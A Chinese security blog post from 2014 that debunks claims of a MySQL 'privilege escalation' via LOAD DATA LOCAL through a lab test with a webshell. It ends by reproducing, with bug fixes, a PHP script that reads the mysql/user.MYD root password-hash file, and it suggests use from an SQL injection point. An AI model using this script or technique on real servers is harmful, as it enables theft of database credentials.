adwin's blog
打破某些大牛比较呵呵的MySQL无file权限读root hash的谣言
post by:adwin 2014-6-1 22:43

如题。
比如乌云社区发帖的这位大牛http://zone.wooyun.org/content/12432

 点击查看原图

看那帖子标题就很喜感有木有,大概意思就是创建了一个没有file权限的账户test,然后不能load file 啥的,但是可以用load data local 这样来读文件的内容到某个表里,然后再select读出来balabala.....
一开始以为只有这位大牛这么说,但是后来先后几次看到很多大牛如同得到了MySQL的0day一样,满心欢喜的在各种地方分享(哦对了,对于这种分享精神提出口头表扬一次),甚至还有人写出了利用脚本,虽然就那么几个SQL语句,但是脚本写的还挺像那么回事,于是我就下载下来了。一会我们就拿这个脚本进行测试吧。
其实我真的不懂MySQL,我也真的不知道一般默认情况下你从一个文件load data的话只能是localhost才行,而且我真的不知道其实你load data local的时候其实是和WEB的权限是一样的!!!别问我是怎么知道的,用脚后跟想一想就知道这么2B的“越权”不可能出现在如此成熟的MySQL身上,so,找了找资料,请注意如下这段话:

[我是引用] 在WEB环境中,客户从WEB服务器连接,用户可以使用LOAD DATA LOCAL语句来读取WEB服务器进程有读访问权限的任何文件(假定用户可以运行SQL服务器的任何命令)。在这种环境中,MySQL服务器的客户实际上是WEB服务器,而不是连接WEB服务器的用户运行的程序。[/我是引用结束]

至于出处我觉得。。。百度一下吧,我就不贴出来地址了。
OK,空口无凭,我们还是还实际测试一下吧,实践出真知嘛。为了便捷,我搭建了一个win2003的虚拟机,然后安装了wampserver,为了避免产生类似“到底是否和MySQL账户权限有关”这样的争议,测试中MySQL全程都是用的root账户。

author:adwin
blog:http://www.okadwin.com
from:Silic   http://silic.org
大家都知道,一般来说wampServer的Apache默认是以system的身份启动的,so,上了一个习科的大马来证实了一下。

点击查看原图

现在我们的PHP(Apache)运行在无所不能的system权限下,当然也可以直接通过PHP的webshell来直接读取保存MySQL账户hash的文件

点击查看原图

好吧,都说了我们是无所不能的system了。
那么我们现在来测试一个所谓的MySQL“越权”load data local。我在网上找到了一个大神写好的脚本(方便多了,真是为人民造福啊),用这个脚本测试了一下,一样可以读到内容。(我会在后边给出这个脚本的源码)

点击查看原图

现在我们新建一个test用户来做测试

点击查看原图

在我的电脑右键,管理,服务和应用程序,服务,找到wampapache,也就是Apache的服务,右键-属性-登陆,我们看到,当前的登陆身份是“本地系统账户”

点击查看原图

显然这个时候是system权限,那么我们让Apache以刚才建立的test用户的身份运行

点击查看原图

我们必须要重启Apache的服务才行,不过好像是似乎出了点问题

点击查看原图

好吧,看一下日志,这是什么情况。。。

点击查看原图

我了个擦,原来是换成test用户之后权限不够了。。。好吧,给test用户赋予相应的权限,Apache成功启动,这个时候我们在看看whoami,确定一下当前确实是test的身份

点击查看原图

这个时候我们把MySQL的data目录设置上权限,拒绝test这个用户读写

点击查看原图

显然这个时候PHP的webshell就读不了data目录了(把权限拒绝应用到了data目录及所有子文件(夹))

点击查看原图

这个时候我们再用那个load data local的脚本来读一下试试(我保证读不到,如果能读到我直播吃翔)
好吧,事实证明我不用直播吃翔了。

点击查看原图

 

总结一下:第一,所谓的“越权”根本不存在,load data只不过是从文件读取数据而已,和into outfile是互为反操作,这样就容易理解多了。而且理论上这种load data的方式只能是数据库在localhost的时候才可以。
第二,你load data的权限和WEB脚本的运行权限是一样的——这就意味着,假如你可以通过load data得到文件的内容,那通过webshell也一定可以直接读的到,为啥还非得要脱裤子放屁?
第三,其实也不是完全没有用处,我突然想到一种情景,比如在注入点上可以直接select @@datadir,读到路径之后load data,然后再select,这也不失为一种思路(显然我只是刚刚想到可能会有这种情况,还从来没有实践过)。

 

最后,把某位大神写的利用脚本的源码贴上来,也算是让大伙看看load data的语句。
另外也指出这个脚本的几点不足,如果有幸作者能够看到的话,希望对有你略有帮助。
第一:第8行,原本代码:if(!link){,兄弟你少写了个$,请改成if(!$link){。
第二:第16行,原本代码:$db_path_sql="select @@basedir";,我建议你这里使用@@datadir,而不是@@basedir,要知道,虽然多数(默认)情况下@@datadir确实等于@@basedir . "/data",但其实@@datadir是可以自定义的,有的时候可能@@datadir和@@basedir真的一点关系也没有。
第三:第26行,原本代码:".$db_path."data/mysql/user.MYD,其实这里看起来好像没什么问题,不过好像这里的$db_path值最后应该没有一个斜线“/”,所以你这样拼接起来的路径应该是不对的,拼接起来可能是类似“c:\mysqldata/mysql/user.MYD”这样的,因为$db_path的值的最后没有斜线,后边拼接的字符串data/mysql/user.MYD,最前边也没有斜线,所以导致了这个问题(至少在我做测试的时候是这样的),so,改为:".$db_path."/data/mysql/user.MYD即可解决这个问题。
第四:让用户输入host就没这个必要了吧,这时候host只能是localhost,如果是远程主机的话肯定是读不了的。
最后代码附上(各位看官别忘了修改第26行的代码)

 

<?php
if(isset($_POST['sub'])){
$name=$_POST['name'];
$pass=$_POST['password'];
$host=$_POST['host'];
$db=$_POST['db'];
$link = mysql_connect($host,$name,$pass);
if(!link){
die("could not connect".mysql_error());
} if(!mysql_select_db($db,$link)){
 die("db".mysql_error());
} $db_path_sql="select @@basedir";
if($n=mysql_query($db_path_sql)){
 $db_path_rs=mysql_fetch_array($n);
  $db_path=str_replace("\\","/",$db_path_rs[0]);
}  
$dropmoon='DROP table moon';
$sql="CREATE TABLE moon (`code` TEXT NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;";
$exp="LOAD DATA LOCAL INFILE '".$db_path."data/mysql/user.MYD' INTO TABLE moon fields terminated by '' LINES TERMINATED BY '\0';";
$select="SELECT code FROM moon";
$pass="";
mysql_query($dropmoon);
if(mysql_query($sql)){
 if($row=mysql_query($exp)){
  if($row=mysql_query($select)){
   while($rows=mysql_fetch_array($row))
    {
    echo $pass.=$rows['code'];
    }
    
  
 }
  
 }
 

}
 

}
else{
 echo "<head>";
 echo '<meta http-equiv="content-type" content="text/html;charset=utf-8">';
 echo "<title>MYSQL低权限读取ROOT密码工具(暗月内部原创工具)</title>";
 echo "</head>";
 echo '<form action="" method="post">';
 echo "<h3>MYSQL低权限读取ROOT密码工具(暗月内部原创工具)</h3>";
 echo 'host:<input type="text" name="host"><br>';
 echo 'name:<input type="text" name="name"><br>';
 echo 'pass:<input type="text" name="password"><br>';
 echo 'db&nbsp&nbsp:<input type="text" name="db">';
 echo '<input type="submit" value="提交" name="sub">';
 echo "</form>";
 echo "<hr>";
 echo '<p>论坛:<a href="http://www.moonsafe.com">暗月信息安全论坛</a>| 作者博客:<a href="http://www.moonsec.com">暗月博客</a></p>';
 echo "</html>";
 

}
评论:
新一
2014-06-02 22:50 回复
学习了。发现好多服务器的Mysql都是老的。
屠龙
2014-06-25 23:05 回复
学习了,文章写的还真不错。
feiyu
2014-07-06 15:15 回复
威哥加个友链吧 博客刚上线http://www.thetown.me/
adwin
2014-07-07 10:12 回复
@feiyu:加好了
赵健康
2014-07-22 11:21 回复
威哥能我讲下web服务器启动的权限和用户访问的权限具体体现在哪里呢
跑步机价格
2014-08-24 21:57 回复
看不懂代码的路过
李若蟾
2014-08-24 21:58 回复
学习了。不错的知识哦
发表评论:
昵称

邮件地址 (选填)

个人主页 (选填)

内容